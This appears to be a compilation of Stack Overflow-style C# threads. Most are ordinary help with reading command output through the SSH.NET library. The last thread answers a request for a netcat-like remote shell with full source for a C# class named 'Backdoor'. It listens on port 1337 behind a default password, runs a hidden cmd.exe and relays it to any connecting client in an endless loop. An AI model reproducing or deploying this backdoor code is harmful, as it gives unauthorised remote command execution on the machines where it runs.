Displaying Output from SSH.NET - c#

I am fairly new with C# and I am trying to write an SSH console application using the SSH.NET framework. So far I was able to connect to my server successfully, but now I am trying to run commands and have it display the result. Yet, my console comes out blank when I run my application. My end goal was to execute a set of commands and see the results at the end of it.
Program.cs
using Renci.SshNet;
class Program
{
//Login Parameter
const String Hostname = "somePort";
const int PortNumber = 22;
const String Username = "username";
const String Password = "root";
static void Main(string[] args)
{
//Bypass Keyboard authentication
KeyboardInteractiveAuthenticationMethod kauth = new KeyboardInteractiveAuthenticationMethod(Username);
PasswordAuthenticationMethod pauth = new PasswordAuthenticationMethod(Username, Password);
kauth.AuthenticationPrompt += new EventHandler<Renci.SshNet.Common.AuthenticationPromptEventArgs>(HandleKeyEvent);
//Grab info for connections
ConnectionInfo connectionInfo = new ConnectionInfo(Hostname, PortNumber, Username, pauth, kauth);
//Connect
using (SshClient client = new SshClient(connectionInfo))
{
try
{
//Connect to server
client.Connect();
Console.WriteLine("Connection successful");
var command = client.CreateCommand("ls");
var result = command.Execute();
command.Execute();
Console.WriteLine(result);
//Disconnect from server
client.Disconnect();
}
//Show exp message
catch (Exception exp)
{
throw exp;
}
}
}
//Handle two step auth
static void HandleKeyEvent(Object sender, Renci.SshNet.Common.AuthenticationPromptEventArgs e)
{
foreach (Renci.SshNet.Common.AuthenticationPrompt prompt in e.Prompts)
{
if (prompt.Request.IndexOf("Password:", StringComparison.InvariantCultureIgnoreCase) != -1)
{
prompt.Response = Password;
}
}
}
}

I don't know if you have resolved this issue yet, but the solution is simple in this case.
The function:
command.Execute()
doesn't return your result.
You have to execute like you did, but then grab the result via
command.Result
It would look something like this:
var command = client.CreateCommand("ls");
command.Execute();
var result = command.Result;
Hope i could help you.

Related

using ssh.net im not able to getting output

I'm not getting any output after running script. Please someone help me why the output is showing empty.
I can see its connecting to server.
namespace WebApplication10.helpers
{
public class service
{
public static List<Servicestatus> serviceadd(servername,UserName,Password)
{
List<Servicestatus> results = new List<Servicestatus>();
try
{
using (var client = new SshClient(servername, UserName, Password))
{
client.Connect();
SshCommand strOutput = client.CreateCommand("service --status-all");
var str = strOutput.Execute();
Console.WriteLine(str)
client.Disconnect();
}
}
catch (Exception e)
{
Console.WriteLine( e.Message );
}
}
}
}
You'll get the response with yourCommand.Result
SshCommand command = client.CreateCommand("service --status-all");
command.Execute();
Console.WriteLine(command.Result)

Display complete SSH shell output including login message and prompt in C#

I'm trying to create a simple SSH client in C#. This is my code now:
using Renci.SshNet;
public static void Main(string[] args)
{
AuthenticationMethod method = new PasswordAuthenticationMethod("pi", "raspberry");
ConnectionInfo connection = new ConnectionInfo("192.168.91.134", "pi", method);
SshClient client = new SshClient(connection);
if (!client.IsConnected)
{
Console.WriteLine("Not Connected...");
client.Connect();
}
while (true)
{
string command = Console.ReadLine();
SshCommand response = client.RunCommand(command);
Console.WriteLine(response.Result);
}
}
Problem:
like this, it shows just the response of the command sent. I would like the entire output, also with the user and the current directory (like a classic SSH shell).
if I want to launch the sudo su command giving the password it doesn't work...
(in the future I want to add the output to a listbox and take the input from a texbox in a winForms app)
Thank you in advance for your help
This is my implementation:
using System;
using System.Threading;
using Renci.SshNet;
public class Program
{
public static void Main(string[] args)
{
SshClient sshClient = new SshClient("192.168.91.134", 22, "pi", "raspberry");
sshClient.ConnectionInfo.Timeout = TimeSpan.FromSeconds(120);
sshClient.Connect();
ShellStream shellStreamSSH = sshClient.CreateShellStream("vt-100", 80, 60, 800, 600, 65536);
Thread thread = new Thread(() => recvSSHData(shellStreamSSH));
thread.Start();
while (true)
{
string command = Console.ReadLine();
shellStreamSSH.Write(command + "\n");
shellStreamSSH.Flush();
}
}
public static void recvSSHData(ShellStream shellStreamSSH)
{
while (true)
{
try
{
if (shellStreamSSH != null && shellStreamSSH.DataAvailable)
{
string strData = shellStreamSSH.Read();
Console.WriteLine(strData);
}
}
catch
{
}
System.Threading.Thread.Sleep(200);
}
}
}
In you want to implement an SSH terminal client (like PuTTY), you need to use SSH "shell" channel.
In SSH.NET, use SshClient.CreateShell or SshClient.CreateShellStream, not SshClient.RunCommand.

How can I get command output from ShellStream without it timing out?

I use ssh.net to execute commands in C#
but the results returned from each command come at different times.
I used thread but it takes timeout with a specific value.
I need to get the output at the moment it comes
My code:
protected void Page_Load(object sender, EventArgs e)
{
string Username = "xxxxxxxx";
string Password = "xxxxxxxxxx";
string IP = "xxxxxxxxxx";
int Port = xxxxxxxxx;
SshClient client = new SshClient(IP, Port, Username, Password);
client.Connect();
var shell = client.CreateShellStream("xxxx", 5000, 10000, 10000, 10000, 40072);
string output = ArrangeData("stelnet xxxxxxxx", shell);
output += ArrangeData("cmd1", shell);
output += ArrangeData("cmd2", shell);
output += ArrangeData("cmd3", shell);
}
public static string ArrangeData(string cmd, ShellStream sh)
{
StreamReader reader = null;
reader = new StreamReader(sh);
sh.Flush();
sh.WriteLine(cmd);
---->Thread.Sleep(timeout);
string output = reader.ReadToEnd();
return output;
}
The current solution is time out in thread
However, I need to remove this timeout as I do not know when it responds to my commands.

C# SSH Connection

I'm trying to run SSH commands as part of a C# app. My code is as follows:
using System;
using Renci.SshNet;
namespace SSHconsole
{
class MainClass
{
public static void Main (string[] args)
{
//Connection information
string user = "sshuser";
string pass = "********";
string host = "127.0.0.1";
//Set up the SSH connection
using (var client = new SshClient (host, user, pass))
{
//Start the connection
client.Connect ();
var output = client.RunCommand ("echo test");
client.Disconnect();
Console.WriteLine (output.ToString());
}
}
}
}
From what I've read about SSH.NET, this should output the result of the command which I believe should be 'test'. However, when I run the program, the output I get is:
Renci.SshNet.SshCommand
Press any key to continue...
I don't understand why I'm getting this output (regardless of the command) and any input would be greatly appreciated.
Thanks,
Jake
Use output.Result instead of output.ToString().
using System;
using Renci.SshNet;
namespace SSHconsole
{
class MainClass
{
public static void Main (string[] args)
{
//Connection information
string user = "sshuser";
string pass = "********";
string host = "127.0.0.1";
//Set up the SSH connection
using (var client = new SshClient(host, user, pass))
{
//Start the connection
client.Connect();
var output = client.RunCommand("echo test");
client.Disconnect();
Console.WriteLine(output.Result);
}
}
}
}

Writing a program with remote shell functionality like netcat

I am interested in writing a program which can do something like netcats "nc -L -d -p -t -e cmd.exe" command. So it provides a remote shell that is. I have tried piping output and input from and to cmd.exe and sending and receiving it over a socket but it doesn't really seem to work well. Are there any other ways to do it? I am programming in C# by the way.
This is some test code I wrote to test if I could make my own "shell". The output of this is what should be sent over a socket. The program, however, halts when it becomes time to read the output. This is only remedied by using the .readline() method, but I dont know how to detect when it should not read anymore lines.
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.Start();
StreamReader sr = p.StandardOutput;
StreamWriter sw = p.StandardInput;
while (true)
{
Console.Write(">> ");
string cmd = Console.ReadLine();
sw.WriteLine(cmd);
var resp = sr.ReadLine();
Console.WriteLine(resp);
}
Thanks.
Not sure if you still care about this but this may help you:
This is a C# Remote Shell
/*****************************************************************
*
* Created By DT
*
* ***************************************************************/
using System;
using System.Diagnostics;
using System.Net;
using System.Net.Sockets;
using System.Threading;
using System.IO;
namespace BackdoorServer
{
public class Backdoor
{
private TcpListener listener; //ServerSocket object for listening
private Socket mainSocket; //Socket to handle client-server communication
private int port; //Port the server listens on
private String name; //The server name
private String password; //The server password
private bool verbose = true; //Displays messages in console if True
private Process shell; //The shell process
private StreamReader fromShell;
private StreamWriter toShell;
private StreamReader inStream;
private StreamWriter outStream;
private Thread shellThread; //So we can destroy the Thread when the client disconnects
private static int DEFAULT_PORT = 1337; //Default port to listen on if one isn't declared
private static String DEFAULT_NAME = "Server"; //Default name of server if one isn't declared
private static String DEFAULT_PASS = "password"; //Default server password if one isn't declared
public Backdoor()
{ //Use default settings
port = DEFAULT_PORT;
name = DEFAULT_NAME;
password = DEFAULT_PASS;
}
public Backdoor(int p)
{ //Define port only
port = p;
name = DEFAULT_NAME;
password = DEFAULT_PASS;
}
public Backdoor(int p, String n)
{ //Define port and server name
port = p;
name = n;
password = DEFAULT_PASS;
}
public Backdoor(int p, String n, String pass)
{ //Define port, server name, and password
port = p;
name = n;
password = pass;
}
public Backdoor(int p, String n, String pass, bool verb)
{ //Define port, server name, and password
port = p;
name = n;
password = pass;
verbose = verb;
}
////////////////////////////////////////////////////////////////////////
//the startServer method waits for a connection, checks the password,
//and either drops the client or starts a remote shell
////////////////////////////////////////////////////////////////////////
public void startServer() {
try {
if(verbose)
Console.WriteLine("Listening on port " + port);
//Create the ServerSocket
listener = new TcpListener(port);
listener.Start(); //Stop and wait for a connection
mainSocket = listener.AcceptSocket();
if(verbose)
Console.WriteLine("Client connected: " + mainSocket.RemoteEndPoint);
Stream s = new NetworkStream(mainSocket);
inStream = new StreamReader(s);
outStream = new StreamWriter(s);
outStream.AutoFlush = true;
String checkPass = inStream.ReadLine();
if(verbose)
Console.WriteLine("Client tried password " + checkPass);
if(!checkPass.Equals(password)) { //if the password is not correct
if(verbose)
Console.WriteLine("Incorrect Password");
badPass(); //Drop the client
return;
}
if(verbose)
Console.WriteLine("Password Accepted.");
shell = new Process();
ProcessStartInfo p = new ProcessStartInfo("cmd");
p.CreateNoWindow = true;
p.UseShellExecute = false;
p.RedirectStandardError = true;
p.RedirectStandardInput = true;
p.RedirectStandardOutput = true;
shell.StartInfo = p;
shell.Start();
toShell = shell.StandardInput;
fromShell = shell.StandardOutput;
toShell.AutoFlush = true;
shellThread = new Thread(new ThreadStart(getShellInput)); //Start a thread to read output from the shell
shellThread.Start();
outStream.WriteLine("Welcome to " + name + " backdoor server."); //Display a welcome message to the client
outStream.WriteLine("Starting shell...\n");
getInput(); //Prepare to monitor client input...
dropConnection(); //When getInput() is terminated the program will come back here
}
catch(Exception) { dropConnection(); }
}
//////////////////////////////////////////////////////////////////////////////////////////////
//The run method handles shell output in a seperate thread
//////////////////////////////////////////////////////////////////////////////////////////////
void getShellInput()
{
try
{
String tempBuf = "";
outStream.WriteLine("\r\n");
while ((tempBuf = fromShell.ReadLine()) != null)
{
outStream.WriteLine(tempBuf + "\r");
}
dropConnection();
}
catch (Exception) { /*dropConnection();*/ }
}
private void getInput() {
try {
String tempBuff = ""; //Prepare a string to hold client commands
while(((tempBuff = inStream.ReadLine()) != null)) { //While the buffer is not null
if(verbose)
Console.WriteLine("Received command: " + tempBuff);
handleCommand(tempBuff); //Handle the client's commands
}
}
catch(Exception) {}
}
private void handleCommand(String com) { //Here we can catch commands before they are sent
try { //to the shell, so we could write our own if we want
if(com.Equals("exit")) { //In this case I catch the 'exit' command and use it
outStream.WriteLine("\n\nClosing the shell and Dropping the connection...");
dropConnection(); //to drop the connection
}
toShell.WriteLine(com + "\r\n");
}
catch(Exception) { dropConnection(); }
}
////////////////////////////////////////////////////////////////////
//The drop connection method closes all connections and
//resets the objects to their null states to be created again
//I don't know if this is the best way to do it but it seems to
//work without issue.
////////////////////////////////////////////////////////////////////
private void badPass()
{
inStream.Dispose();
outStream.Dispose();
mainSocket.Close();
listener.Stop();
return;
}
private void dropConnection() {
try {
if(verbose)
Console.WriteLine("Dropping Connection");
shell.Close();
shell.Dispose();
shellThread.Abort();
shellThread = null;
inStream.Dispose(); //Close everything...
outStream.Dispose();
toShell.Dispose();
fromShell.Dispose();
shell.Dispose();
mainSocket.Close();
listener.Stop();
return;
}
catch(Exception) {}
}
static void Main(string[] args)
{
try {
Backdoor bd = new Backdoor();
if (args.Length == 1)
bd = new Backdoor(int.Parse(args[0]));
if (args.Length == 2)
bd = new Backdoor(int.Parse(args[0]), args[1]);
if (args.Length == 3)
bd = new Backdoor(int.Parse(args[0]), args[1], args[2]);
else if (args.Length == 4)
bd = new Backdoor(int.Parse(args[0]), args[1], args[2], bool.Parse(args[3]));
while (true)
{
bd.startServer();
}
}
catch(Exception) {}
}
}
}

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